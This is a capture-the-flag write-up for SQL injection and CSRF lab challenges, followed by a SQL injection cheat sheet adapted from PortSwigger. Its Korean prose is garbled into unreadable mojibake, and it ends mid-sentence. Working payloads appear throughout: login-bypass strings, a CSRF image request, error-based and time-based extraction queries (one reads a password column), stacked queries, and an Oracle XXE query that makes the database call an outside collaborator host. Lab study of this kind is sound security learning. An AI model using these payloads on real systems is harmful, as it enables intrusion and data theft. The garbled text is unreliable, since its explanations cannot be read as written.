1. ctf 3๋ฌธ์ Write-up ์์ฑ
https://los.rubiya.kr/gate.php
https://los.rubiya.kr/gate.php
los.rubiya.kr
# LORD OF SQLINJECTION - gremlin
๋จผ์ ์ฝ๋๋ฅผ ๋ถ์ํ ๊ฒฐ๊ณผ ์ฌ์ฉ์ ์
๋ ฅ ๊ฐ $_GET['id']์ $_GET['pw']๋ฅผ ๊ทธ๋๋ก ์ฟผ๋ฆฌ์ ๋ฃ๊ณ ์๋ค๋ ๊ฒ ์ ์์๋์ต๋๋ค.
์
๋ ฅ๊ฐ์ด ์ง์ SQL ์ฟผ๋ฆฌ๋ก ๋ค์ด๊ฐ๊ธฐ ๋๋ฌธ์ SQL Injection ์ ์ทจ์ฝํ ์ ์๋ค.
SQL ์ฝ์
๊ณต๊ฒฉ ์ค ๊ฐ์ฅ ์ผ๋ฐ์ ์ธ ' or '1'=1 ๋ฐฉ๋ฒ์ ์๋ํ์ฌ ํญ์ ์ฐธ์ธ ์กฐ๊ฑด์ ๋ง๋ค์ด ๋ชจ๋ ๋ ์ฝ๋๋ฅผ ๊ฐ์ ธ์ค๊ฒ ํ๋ ค๊ณ ?id=' OR '1'='1&pw=' OR '1'=1 ๋ก ์ฟผ๋ฆฌ๋ฌธ์ ๋ณ๊ฒฝํ๊ณ ๊ทธ ๊ฒฐ๊ณผ ๋ฌธ์ ๋ฅผ ํด๊ฒฐํ์ต๋๋ค.
# LORD OF SQLINJECTION - cobolt
๋จผ์ ์ฝ๋๋ฅผ ๋ถ์ํ ๊ฒฐ๊ณผ id๊ฐ 'admin'์ผ๋ก ์ถฉ์กฑ๋ง ํ๋ฉด pw๋ ๊ณ ๋ ค ์ ํด๋ ๋๋ค๋ ๊ฒ์ ์์๋์ต๋๋ค.
์ฒ์์ id๊ฐ admin์ด๋ฉด ์ถฉ์กฑ์ด ๋๊ฒ ๋ค๋ ์๊ฐ์ ?id=admin ์ ๋ฃ์์ง๋ง pw์ ์ถฉ์กฑํ์ง ๋ชปํด ํด๊ฒฐ์ด ๋์ง ์์์ต๋๋ค.
๊ทธ๋์, id๊ฐ์ด ์ถฉ์กฑ๋ง ๋๋ฉด ๋๋๊น ๋ค pw๋ฅผ ์ฃผ์์ฒ๋ฆฌ๋ฅผ ํด์ ๋ฌด์๋ฅผ ํด์ผ๊ฒ ๋ค๋ ์๊ฐ์ ์ฃผ์์ฒ๋ฆฌ #์ ์ฌ์ฉ ํ์ง๋ง ์ฒ๋ฆฌ๋์ง ์์์ต๋๋ค.
์ฐพ์๋ณธ ๊ฒฐ๊ณผ #์ urlencoding๋ฐฉ์์ผ๋ก %23๋ผ๊ณ ์ ์ด์ค์ผ ํ๋ค๋ ๊ฒ์ ์์๋์ต๋๋ค.
?id=admin'%23 ๋ฃ์๋๋ ๋ฌธ์ ๋ฅผ ํด๊ฒฐํ์ต๋๋ค.
# Dreamhack: csrf-1
https://dreamhack.io/wargame/challenges/26
csrf-1
์ฌ๋ฌ ๊ธฐ๋ฅ๊ณผ ์
๋ ฅ๋ฐ์ URL์ ํ์ธํ๋ ๋ด์ด ๊ตฌํ๋ ์๋น์ค์
๋๋ค. CSRF ์ทจ์ฝ์ ์ ์ด์ฉํด ํ๋๊ทธ๋ฅผ ํ๋ํ์ธ์. ๋ฌธ์ ์์ ๋ด์ญ 2023.07.18 css, html ์ ๊ณต ๋ฐ read_url() ์ฝ๋ ์ผ๋ถ๊ฐ ๋ณ๊ฒฝ๋์์ต๋๋ค. Referen
dreamhack.io
๋ฌธ์ ์ค๋ช
์ฌ๋ฌ ๊ธฐ๋ฅ๊ณผ ์
๋ ฅ๋ฐ์ URL์ ํ์ธํ๋ ๋ด์ด ๊ตฌํ๋ ์๋น์ค์
๋๋ค.
CSRF ์ทจ์ฝ์ ์ ์ด์ฉํด ํ๋๊ทธ๋ฅผ ํ๋ํ์ธ์.
๋จผ์ ๊ฐ ํ์ด์ง๋ฅผ ํ์ธํด ๋ดค๋๋ vuln(csrf) page๋ csrf ํ๋ผ๋ฏธํฐ๋ก alert(1)๋ฅผ ์คํํ๋ ์คํฌ๋ฆฝํธ ๊ตฌ๋ฌธ์ ์ ๋ฌํ๊ณ script ๊ตฌ๋ฌธ์ด ํํฐ๋ง๋ ๊ฒ์ ๋ณผ ์ ์์์ต๋๋ค.
memo ํ์ด์ง๋ memo ํ๋ผ๋ฏธํฐ๋ก hello๋ฅผ ์ ๋ฌํ๊ณ hello๋ฅผ ์ถ๋ ฅํ๋ค.
notice flagํ์ด์ง๋ admin ๊ณ์ ๊ถํ์ ์ํด์๊ณ Access Denied ๋ฌธ๊ตฌ๊ฐ ์ถ๋ ฅ๋์ต๋๋ค.
flag ํ์ด์ง๋ ์ฝ๋๋ฅผ ๊ธฐ์
ํ ์ ์๋ค๋ ๊ฒ์ ํ์ธํ์ต๋๋ค.
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", None)
if text:
memo_text += text
return render_template("memo.html", memo=memo_text)
@app.route("/admin/notice_flag")
def admin_notice_flag():
global memo_text
if request.remote_addr != "127.0.0.1":
return "Access Denied"
if request.args.get("userid", "") != "admin":
return "Access Denied 2"
memo_text += f"[Notice] flag is {FLAG}\n"
return "Ok"
๊ทธ๋ค์, ์ฝ๋๋ฅผ ๋ถ์ํ๋๋ userid๊ฐ admin์ผ ๋ /memo ํ์ด์ง์ ํ๋๊ทธ๊ฐ ์ถ๊ฐ๋๋ค๋ ๊ฒ์ ์์๋์ต๋๋ค.
<img src="/admin/notice_flag?userid=admin">
์ฝ๋๋ฅผ /flag ํ์ด์ง์ ๋ฃ์ด์ ์คํํ๋๋ ํ๋๊ทธ๋ฅผ ์ป์ ์ ์์์ต๋๋ค!
2. sql injection์ ์ฃผ๋ก ์ฌ์ฉ๋๋ ๊ตฌ๋ฌธ์ ๋ํด์ ์ ๋ฆฌ
์ฐธ์กฐ ์ฌ์ดํธ: https://portswigger.net/web-security/sql-injection/cheatsheet
String concatenation
์ฌ๋ฌ ๋ฌธ์์ด์ ์ฐ๊ฒฐํด ํ๋์ ๋ฌธ์์ด๋ก ๋ง๋ญ๋๋ค.
Oracle
'foo'||'bar' : ๋ ๊ฐ ์ด์์ ๋ฌธ์์ด ์ฐ๊ฒฐ || ์ฐ์ฐ์๋ก ์ฐ๊ฒฐ
Microsoft
'foo'+'bar' : ๋ ๋ฌธ์์ด์ + ์ฐ์ฐ์๋ก ์ฐ๊ฒฐ
PostgreSQL
'foo'||'bar' : Oracle์ฒ๋ผ || ์ฐ์ฐ์๋ฅผ ์ฌ์ฉํ์ฌ ๋ฌธ์์ด์ ์ฐ๊ฒฐ
MySQL
'foo' 'bar' [Note the space between the two strings] : ๊ณต๋ฐฑ์ ํตํด ๋ฌธ์์ด ์ฐ๊ฒฐ
CONCAT('foo','bar')
Substring
๋ฌธ์์ด์์ ์ง์ ๋ ์์น์ ๊ธธ์ด๋งํผ ๋ถ๋ถ ๋ฌธ์์ด์ ์ถ์ถํฉ๋๋ค.
ํ์: (์๋ณธ ๋ฌธ์์ด, ์์ ์คํ์
, ์ถ์ถํ ๊ธธ์ด)
์ฒซ ์ธ๋ฑ์ค๋ 0์ด ์๋๋ผ 1๋ถํฐ ์์ํ๋ค.
Oracle
Microsoft
SUBSTRING('foobar', 4, 2)
PostgreSQL
SUBSTRING('foobar', 4, 2)
MySQL
SUBSTRING('foobar', 4, 2)
์ฃผ์์ ์ฌ์ฉํ์ฌ ์ฟผ๋ฆฌ๋ฅผ ์๋ผ๋ด๊ณ ์
๋ ฅ ๋ด์ฉ ๋ค์ ์ค๋ ์๋ ์ฟผ๋ฆฌ์ ์ผ๋ถ๋ฅผ ์ ๊ฑฐํ ์ ์์ต๋๋ค.
Oracle
--comment : ๋จ์ผ ํ ์ฃผ์
Microsoft
--comment :๋จ์ผ ํ ์ฃผ์
/*comment*/ : ์ฌ๋ฌ ์ค ์ฃผ์
PostgreSQL
MySQL
#comment :๋จ์ผ ํ ์ฃผ์์ ์ฃผ๋ก ์ฌ์ฉ
-- comment [Note the space after the double dash] : -- ๋ค์์ ๊ณต๋ฐฑ ์ฝ์
ํ comment์
๋ ฅ
/*comment*/
Database version
๋ฐ์ดํฐ๋ฒ ์ด์ค๋ฅผ ์ฟผ๋ฆฌ ํ์ฌ ์ ํ๊ณผ ๋ฒ์ ์ ํ์ธํ ์ ์์ต๋๋ค.
์ด ์ ๋ณด๋ ๋ ๋ณต์กํ ๊ณต๊ฒฉ์ ๊ณต์ํํ ๋ ์ ์ฉํ๋ค.
Oracle
SELECT banner FROM v$version : Oracle ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ๋ฒ์ ์ ๋ณด๋ฅผ ํ์
SELECT version FROM v$instance : ํ์ฌ ์ธ์คํด์ค์ ๋ฒ์ ์ ๋ณด๋ฅผ ๊ฐ์ ธ์ต๋๋ค.
Microsoft
SELECT @@version : SQL Server์ ๋ฒ์ ์ ๋ณด๋ฅผ ๋ฐํ
PostgreSQL
SELECT version() : PostgreSQL ์๋ฒ์ ๋ฒ์ ์ ๋ณด๋ฅผ ํ์ธ
MySQL
SELECT @@version : MySQL ์๋ฒ์ ๋ฒ์ ์ ๋ณด๋ฅผ ์ถ๋ ฅ
Database contents
๋ฐ์ดํฐ๋ฒ ์ด์ค์ ์กด์ฌํ๋ ํ
์ด๋ธ๊ณผ ํด๋น ํ
์ด๋ธ์ ํฌํจ๋ ์ด์ ๋์ดํ ์ ์์ต๋๋ค.
Oracle
SELECT * FROM all_tables : ๋ชจ๋ ํ
์ด๋ธ์ ๋ชฉ๋ก์ ๊ฐ์ ธ์ต๋๋ค.
SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE' : ์ง์ ํ ํ
์ด๋ธ ์ด๋ฆ์ ํด๋นํ๋ ํ
์ด๋ธ์ ๋ชจ๋ ์ปฌ๋ผ(์ด) ์ ๋ณด๋ฅผ ์กฐํ.
Microsoft
SELECT * FROM information_schema.tables : ๋ฐ์ดํฐ๋ฒ ์ด์ค ๋ด์์ ์ฌ์ฉ ๊ฐ๋ฅํ ๋ชจ๋ ํ
์ด๋ธ์ ๋ํ ์ ๋ณด๋ฅผ ๊ฐ์ ธ์ต๋๋ค.
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' : ์ง์ ๋ ํ
์ด๋ธ์์ ์ฌ์ฉํ ์ ์๋ ๋ชจ๋ ์ปฌ๋ผ ์ ๋ณด๋ฅผ ๋ฐํ.
PostgreSQL
SELECT * FROM information_schema.tables : ๋ชจ๋ ํ
์ด๋ธ์ ๋ํ ์ ๋ณด๋ฅผ ์กฐํ.
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' : ์ง์ ๋ ํ
์ด๋ธ์ ๋ชจ๋ ์ปฌ๋ผ ์ ๋ณด๋ฅผ ๋ฐํ.
MySQL
SELECT * FROM information_schema.tables : ์ง์ ๋ ํ
์ด๋ธ์ ๋ชจ๋ ์ปฌ๋ผ ์ ๋ณด๋ฅผ ๋ฐํ.
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' : ์ง์ ๋ ํ
์ด๋ธ์ ๋ชจ๋ ์ปฌ๋ผ ์ ๋ณด(์ด๋ฆ, ๋ฐ์ดํฐ ์ ํ, ๊ธธ์ด ๋ฑ)๋ฅผ ๋ฐํ.
Conditional errors
๋จ์ผ ๋ถ์ธ ์กฐ๊ฑด์ ํ
์คํธํ๊ณ ์กฐ๊ฑด์ด ์ฐธ์ด๋ฉด ๋ฐ์ดํฐ๋ฒ ์ด์ค ์ค๋ฅ๋ฅผ ๋ฐ์
Oracle
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual : ์ฃผ์ด์ง ์กฐ๊ฑด์ด ์ฐธ์ผ ๊ฒฝ์ฐ 1์ 0์ผ๋ก ๋๋๋ ๊ณ์ฐ์ ์๋ํ์ฌ ์ค๋ฅ๋ฅผ ๋ฐ์์ํต๋๋ค. ์กฐ๊ฑด์ด ๊ฑฐ์ง์ผ ๊ฒฝ์ฐ NULL์ ๋ฐํํ์ฌ ์ค๋ฅ๊ฐ ๋ฐ์ํ์ง ์๋๋ก ํฉ๋๋ค. dual์ Oracle์์ ๋จ์ผ ํ์ ๋ฐํํ๋ ์์ ํ
์ด๋ธ๋ก ์์ฃผ ์ฌ์ฉ
Microsoft
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END : ์ฃผ์ด์ง ์กฐ๊ฑด์ด ์ฐธ์ด๋ฉด 1์ 0์ผ๋ก ๋๋๋ ์ฐ์ฐ์ ์ํํ์ฌ ์ค๋ฅ๋ฅผ ๋ฐ์์ํต๋๋ค. ์กฐ๊ฑด์ด ๊ฑฐ์ง์ผ ๊ฒฝ์ฐ NULL์ ๋ฐํํ์ฌ ์ ์์ ์ผ๋ก ์ฒ๋ฆฌ.
PostgreSQL
1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END) : ์กฐ๊ฑด์ด ์ฐธ์ผ ๋, 0์ผ๋ก ๋๋๊ธฐ ์ฐ์ฐ์ ์๋ํ์ฌ ์ค๋ฅ๋ฅผ ๋ฐ์์ํต๋๋ค. ๊ฑฐ์ง์ผ ๊ฒฝ์ฐ NULL์ด ๋ฐํ๋๋ฉฐ, ์ค๋ฅ ์์ด ์คํ. 1 = (SELECT...)์ ๊ฒฐ๊ณผ๋ ํญ์ FALSE.
MySQL
SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a') : ์ฃผ์ด์ง ์กฐ๊ฑด์ด ์ฐธ์ด๋ฉด information_schema.tables์์ ํ
์ด๋ธ ์ด๋ฆ์ ๋ฐํํ๋ ค๊ณ ์๋ํ๋ฉฐ, ์กฐ๊ฑด์ด ๊ฑฐ์ง์ด๋ฉด ๋จ์ํ 'a'๋ผ๋ ๋ฌธ์์ด์ ๋ฐํํฉ๋๋ค. ์ด๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค ์ํ๋ฅผ ํ์ธํ๊ฑฐ๋ ํ
์ด๋ธ์ ๋ฐํํ๋ ๋ก์ง์ ์ด์ฉํ ๊ณต๊ฒฉ์ ์์ฉ
์
์์ ์ธ ์ฟผ๋ฆฌ๋ฅผ ํตํด ์ค๋ฅ ๋ฉ์์ง๋ฅผ ์ ๋ํ์ฌ ๋ฏผ๊ฐํ ๋ฐ์ดํฐ๊ฐ ๋
ธ์ถ๋ ์ ์์ต๋๋ค.
Microsoft
SELECT 'foo' WHERE 1 = (SELECT 'secret') : ์ด ์ฟผ๋ฆฌ๋ 'foo' ๋ฌธ์์ด์ ์ ํํ๋๋ฐ, ์กฐ๊ฑด 1 = (SELECT 'secret')์ด ์ฐธ์ด์ด์ผ ๊ฒฐ๊ณผ๊ฐ ๋ฐํ. ๊ทธ๋ฌ๋ ์๋ธ์ฟผ๋ฆฌ์์ 'secret' ๋ฌธ์์ด์ด ๋ฐํ๋๊ณ , SQL Server๋ ์ซ์์ ๋ฌธ์์ด์ ๋น๊ตํ ์ ์๊ธฐ ๋๋ฌธ์ ๋ณํ ์ค๋ฅ๊ฐ ๋ฐ์. ์ด ์ค๋ฅ ๋ฉ์์ง๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค์์ ํน์ ๋ฐ์ดํฐ๋ฅผ ๋
ธ์ถํ ์ ์์ผ๋ฉฐ, ์ด ๊ฒฝ์ฐ 'secret'์ด๋ผ๋ ๋ฌธ์์ด์ด ์ ์ถ
> Conversion failed when converting the varchar value 'secret' to data type int. : ์ค๋ฅ ๋ฉ์์ง - "varchar ๊ฐ 'secret'์ ๋ฐ์ดํฐ ์ ํ int๋ก ๋ณํํ๋ ๋์ ์ค๋ฅ๊ฐ ๋ฐ์ํ์ต๋๋ค."
PostgreSQL
SELECT CAST((SELECT password FROM users LIMIT 1) AS int) : ์ด ์ฟผ๋ฆฌ๋ users ํ
์ด๋ธ์์ ์ฒซ ๋ฒ์งธ password ๊ฐ์ ๊ฐ์ ธ์ ์ ์๋ก ๋ณํํ๋ ค๊ณ ์๋ํฉ๋๋ค. ํ์ง๋ง ๋น๋ฐ๋ฒํธ๊ฐ ๋ฌธ์์ด๋ก ์ ์ฅ๋์ด ์์ ๊ฐ๋ฅ์ฑ์ด ๋๊ธฐ ๋๋ฌธ์ ๋ณํ ๊ณผ์ ์์ ์ค๋ฅ๊ฐ ๋ฐ์ํฉ๋๋ค. ์ด๋, ์ค๋ฅ ๋ฉ์์ง์ ๋น๋ฐ๋ฒํธ ๊ฐ์ด ํฌํจ๋ ์ ์์ต๋๋ค.
> invalid input syntax for integer: "secret" : ์ค๋ฅ ๋ฉ์์ง - "์ ์์ ๋ํ ์
๋ ฅ ๊ตฌ๋ฌธ์ด ์๋ชป๋์์ต๋๋ค: 'secret'"
MySQL
SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret'))) : ์ด ์ฟผ๋ฆฌ๋ ์กฐ๊ฑด์ด ์ฐธ์ผ ๋ 'foo'๋ฅผ ๋ฐํํ์ง๋ง, EXTRACTVALUE ํจ์๊ฐ XML ๊ฒฝ๋ก์ ๋ฐ์ดํฐ๋ฅผ ์ฒ๋ฆฌํ๋ ๋ฐ ์ฌ์ฉ๋ฉ๋๋ค. ์ด ์ฟผ๋ฆฌ์์๋ 0x5c(์ญ์ฌ๋์)์ ์๋ธ์ฟผ๋ฆฌ์ ๊ฒฐ๊ณผ('secret')๋ฅผ ๊ฒฐํฉํ์ฌ XML ๊ฒฝ๋ก๋ก ์ฒ๋ฆฌํ๋ ค๊ณ ์๋ํฉ๋๋ค. ์๋ชป๋ XML ๊ฒฝ๋ก๊ฐ ์ ๊ณต๋๋ฉด ์ค๋ฅ๊ฐ ๋ฐ์ํ๋ฉฐ, ์ด ๊ณผ์ ์์ 'secret' ๋ฌธ์์ด์ด ๋
ธ์ถ๋ ์ ์์ต๋๋ค. > XPATH syntax
error: '\secret' : ์ค๋ฅ ๋ฉ์์ง - "XPATH ๊ตฌ๋ฌธ ์ค๋ฅ: '\secret'"
Batched (or stacked) queries
๋ฐฐ์น ์ฟผ๋ฆฌ๋ฅผ ์ฌ์ฉํ๋ฉด ์ฌ๋ฌ ์ฟผ๋ฆฌ๋ฅผ ์ฐ์์ผ๋ก ์คํํ ์ ์์ต๋๋ค. ๊ทธ๋ฌ๋ ํ์ ์ฟผ๋ฆฌ์ ๊ฒฐ๊ณผ๋ ์ ํ๋ฆฌ์ผ์ด์
์ผ๋ก ๋ฐํ๋์ง ์์ต๋๋ค. ๋ฐ๋ผ์ ์ด ๊ธฐ์ ์ ์ฃผ๋ก ๋ธ๋ผ์ธ๋ ์ทจ์ฝ์ ๊ณผ ๊ด๋ จ์ด ์์ผ๋ฉฐ, ๋ ๋ฒ์งธ ์ฟผ๋ฆฌ๋ฅผ ์ฌ์ฉํ์ฌ DNS ์กฐํ, ์กฐ๊ฑด๋ถ ์ค๋ฅ, ๋๋ ์๊ฐ ์ง์ฐ์ ์ ๋ฐํ ์ ์์ต๋๋ค.
Oracle
Does not support batched queries. : Oracle์ ๋ฐฐ์น ์ฟผ๋ฆฌ๋ฅผ ์ง์ํ์ง ์์ผ๋ฏ๋ก, ์ฌ๋ฌ ์ฟผ๋ฆฌ๋ฅผ ํ ๋ฒ์ ์คํํ๋ ๋ฐฉ์์ ์ฌ์ฉํ ์ ์์ต๋๋ค. ์ฆ, ์ฌ๋ฌ ๊ฐ์ SQL ๋ช
๋ น์ด๋ฅผ ํ ๋ฒ์ ์คํํ ์ ์๋ ๋ฐฉ๋ฒ์ด ์์ผ๋ฉฐ, ์ฟผ๋ฆฌ๋ง๋ค ๋ณ๋๋ก ์คํํด์ผ ํฉ๋๋ค.
Microsoft
QUERY-1-HERE; QUERY-2-HERE : ์ด ์ฟผ๋ฆฌ๋ ์ธ๋ฏธ์ฝ๋ก (;)์ผ๋ก ๊ตฌ๋ถ๋ ๋ ๊ฐ์ ์ฟผ๋ฆฌ๋ฅผ ์์ฐจ์ ์ผ๋ก ์คํํฉ๋๋ค. ์๋ฅผ ๋ค์ด, SELECT 1; SELECT 2;์ฒ๋ผ ์ฟผ๋ฆฌ ๋ ๊ฐ๋ฅผ ํ ๋ฒ์ ์คํํ ์ ์์ต๋๋ค. ์ฒซ ๋ฒ์งธ ์ฟผ๋ฆฌ์ ๊ฒฐ๊ณผ๋ ์ ํ๋ฆฌ์ผ์ด์
์ผ๋ก ๋ฐํ๋์ง๋ง, ๋ ๋ฒ์งธ ์ฟผ๋ฆฌ๋ ์คํ๋ง ๋๊ณ ๊ฒฐ๊ณผ๋ ๋ฐํ๋์ง ์์ต๋๋ค. ์ด๋ฅผ ํตํด ๊ณต๊ฒฉ์๋ ์ฌ๋ฌ ๋ช
๋ น์ด๋ฅผ ์์ฐจ์ ์ผ๋ก ์คํํ์ฌ ์์คํ
์ ์ํฅ์ ๋ฏธ์น ์ ์์ต๋๋ค.
QUERY-1-HERE QUERY-2-HERE : SQL Server์์๋ ๋๋๋ก ์ธ๋ฏธ์ฝ๋ก ์์ด๋ ์ฌ๋ฌ ์ฟผ๋ฆฌ๋ฅผ ์์ฐจ์ ์ผ๋ก ์คํํ ์ ์์ต๋๋ค. ๋ ๋ช
๋ น์ด ๋ฐ๋ก ์ฐ๊ฒฐ๋์ด ์คํ๋๋ฉฐ, ์ฒซ ๋ฒ์งธ ๋ช
๋ น๋ง ๊ฒฐ๊ณผ๋ก ๋ฐํ๋๊ณ ๋ ๋ฒ์งธ ๋ช
๋ น์ ๋น๋ฐ๋ฆฌ์ ์คํ
PostgreSQL
QUERY-1-HERE; QUERY-2-HERE : ์ธ๋ฏธ์ฝ๋ก (;)์ ์ฌ์ฉํ์ฌ ์ฌ๋ฌ ์ฟผ๋ฆฌ๋ฅผ ๋ฐฐ์น ์คํํ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด, SELECT 1; SELECT 2;์ ๊ฐ์ด ๋ ์ฟผ๋ฆฌ๋ฅผ ์ฐ์์ผ๋ก ์คํํ๋ฉด ์ฒซ ๋ฒ์งธ ์ฟผ๋ฆฌ์ ๊ฒฐ๊ณผ๋ง ๋ฐํ๋๊ณ ๋ ๋ฒ์งธ ์ฟผ๋ฆฌ๋ ์คํ๋ง ๋ฉ๋๋ค.
MySQL
QUERY-1-HERE; QUERY-2-HERE : ์ธ๋ฏธ์ฝ๋ก ์ ์ฌ์ฉํ์ฌ ์ฌ๋ฌ ์ฟผ๋ฆฌ๋ฅผ ์ฐ์ ์คํํ ์ ์์ง๋ง, ์ผ๋ฐ์ ์ผ๋ก MySQL์ ๊ธฐ๋ณธ ์ค์ ์์๋ ๋ฐฐ์น ์ฟผ๋ฆฌ๋ฅผ SQL ์ธ์ ์
์์ ์ฌ์ฉํ ์ ์์ต๋๋ค.
Note : MySQL์์๋ ์ผ๋ฐ์ ์ผ๋ก ๋ฐฐ์น ์ฟผ๋ฆฌ๋ฅผ SQL ์ธ์ ์
์ ์ฌ์ฉํ ์ ์์ต๋๋ค. ๊ทธ๋ฌ๋, ํ๊น ์ ํ๋ฆฌ์ผ์ด์
์ด ํน์ PHP ๋๋ Python API๋ฅผ ์ฌ์ฉํ์ฌ MySQL ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ํต์ ํ๋ ๊ฒฝ์ฐ ๊ฐ๋์ฉ ๊ฐ๋ฅํ ์ ์์ต๋๋ค.
Time delays
์ฟผ๋ฆฌ๊ฐ ์ฒ๋ฆฌ๋ ๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค์์ ์๊ฐ์ ์ง์ฐ์ํฌ ์ ์์ต๋๋ค.
์๋ ์ฟผ๋ฆฌ๋ค์ ์กฐ๊ฑด ์์ด 10์ด์ ์ง์ฐ์ ๋ฐ์์ํต๋๋ค.
Oracle
dbms_pipe.receive_message(('a'),10) : dbms_pipe.receive_message๋ ์ผ๋ฐ์ ์ผ๋ก ํ๋ก์ธ์ค ๊ฐ ํต์ ์ ์ฌ์ฉ๋๋ฉฐ, ์ฒซ ๋ฒ์งธ ์ธ์๋ก ๋ฉ์์ง ์ด๋ฆ์, ๋ ๋ฒ์งธ ์ธ์๋ก ๋๊ธฐ ์๊ฐ์ ์ค์
Microsoft
WAITFOR DELAY '0:0:10' : ์ฌ๊ธฐ์ '0:0:10'์ 10์ด ๋์์ ์ง์ฐ์ ์๋ฏธํ๋ฉฐ, ์ด๋ฅผ ํตํด 10์ด ๋์ ๋ฐ์ดํฐ๋ฒ ์ด์ค ์ฒ๋ฆฌ๋ฅผ ์ง์ฐ.
PostgreSQL
SELECT pg_sleep(10) : pg_sleep ํจ์๋ฅผ ์ฌ์ฉํ์ฌ 10์ด ๋์ ๋ฐ์ดํฐ๋ฒ ์ด์ค ์ฒ๋ฆฌ๋ฅผ ์ง์ฐ์ํฌ ์ ์์ต๋๋ค. ์ด ํจ์๋ ์
๋ ฅํ ์ด๋งํผ ๋๊ธฐ ์๊ฐ์ ์ค์ .
MySQL
SELECT SLEEP(10) : SLEEP ํจ์๋ฅผ ์ฌ์ฉํ์ฌ ์
๋ ฅ ๊ฐ์ผ๋ก ์ง์ ๋ ์๊ฐ๋งํผ ์ง์ฐ๋๋ฉฐ, ์ฌ๊ธฐ์ 10์ 10์ด๋ฅผ ์๋ฏธ.
Conditional time delays
๋จ์ผ ๋ถ์ธ ์กฐ๊ฑด์ ํ
์คํธํ์ฌ, ์กฐ๊ฑด์ด ์ฐธ์ผ ๊ฒฝ์ฐ ์๊ฐ ์ง์ฐ์ ๋ฐ์์ํฌ ์ ์์ต๋๋ค
Oracle
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual : ์ด ์ฟผ๋ฆฌ๋ ์กฐ๊ฑด์ด ์ฐธ์ผ ๋ 10์ด ๋์ ์ง์ฐ์ ์ ๋ฐํฉ๋๋ค. CASE๋ฌธ์ ์ฌ์ฉํ์ฌ ์กฐ๊ฑด์ ํ๊ฐํ๋ฉฐ, ์กฐ๊ฑด์ด ์ฐธ์ด๋ฉด dbms_pipe.receive_message(('a'),10)์ ํธ์ถํ์ฌ 10์ด ์ง์ฐ์ ๋ฐ์์ํต๋๋ค. 'a'||๋ ๋ฌธ์์ด ์ฐ๊ฒฐ์ ์ฌ์ฉํ ๋ฐฉ๋ฒ์ผ๋ก, ์ง์ฐ์ด ๋ฐ์ํ ๋ ๋จ์ผ ๊ฐ์ ๋ฐํํ๋๋ก ํ๋ ๋ฐ ์ฌ์ฉ.
Microsoft
IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10' : ํน์ ์กฐ๊ฑด์ด ์ฐธ์ผ ๋ 10์ด ๋์ ๋๊ธฐํ๊ฒ ํฉ๋๋ค. IF๋ฌธ์ ์ฌ์ฉํ์ฌ ์กฐ๊ฑด์ ํ๊ฐํ๊ณ , ์กฐ๊ฑด์ด ์ฐธ์ผ ๊ฒฝ์ฐ WAITFOR DELAY '0:0:10' ๋ช
๋ น์ ์คํํ์ฌ 10์ด ์ง์ฐ์ ๋ฐ์์ํต๋๋ค.
PostgreSQL
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END : ์กฐ๊ฑด์ด ์ฐธ์ผ ๊ฒฝ์ฐ pg_sleep(10)์ ํธ์ถํ์ฌ 10์ด ์ง์ฐ์ ์ ๋ฐํ๊ณ , ๊ฑฐ์ง์ผ ๊ฒฝ์ฐ pg_sleep(0)์ ํธ์ถํ์ฌ ์ง์ฐ ์์ด ๋ฐ๋ก ์๋ต์ ๋ฐํ.
MySQL
SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a') : IF ํจ์๋ฅผ ์ฌ์ฉํ์ฌ ์กฐ๊ฑด์ด ์ฐธ์ผ ๋ SLEEP(10)์ ํธ์ถํด 10์ด ๋์ ์ง์ฐ์ ๋ฐ์์ํต๋๋ค. ์กฐ๊ฑด์ด ๊ฑฐ์ง์ผ ๊ฒฝ์ฐ 'a'๋ผ๋ ๋ฌธ์์ด์ ๋ฐํํ๋ฉฐ, ์ง์ฐ ์์ด ์๋ต์ ๋ฐ์ต๋๋ค.
DNS lookup
๋ฐ์ดํฐ๋ฒ ์ด์ค๊ฐ ์ธ๋ถ ๋๋ฉ์ธ์ผ๋ก DNS ์กฐํ๋ฅผ ์ํํ๋๋ก ํ ์ ์์ต๋๋ค.
Oracle
(XXE) vulnerability to trigger a DNS lookup. The vulnerability has been patched but there are many unpatched Oracle installations in existence: XXE(External XML Entity) ์ทจ์ฝ์ ์ ํตํด DNS ์กฐํ๋ฅผ ์ ๋ฐํ ์ ์์ต๋๋ค. ์ด ์ทจ์ฝ์ ์ ํจ์น๋์์ผ๋, ์ฌ์ ํ ๋ง์ Oracle ์ค์น ๋ฒ์ ์ด ํจ์น๋์ง ์์ ์ํ
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual : XML ์ธ๋ถ ์ํฐํฐ(XML External Entity, XXE) ์ทจ์ฝ์ ์ ์
์ฉํ์ฌ BURP-COLLABORATOR-SUBDOMAIN์ผ๋ก DNS ์กฐํ๋ฅผ ์ ๋ฐํฉ๋๋ค. XML ํ์์ ๋ฐ์ดํฐ๋ฅผ xmltype์ผ๋ก ๋ณํํ ํ, ์ธ๋ถ ์ํฐํฐ๋ฅผ ์ ์ธํ์ฌ ์์คํ
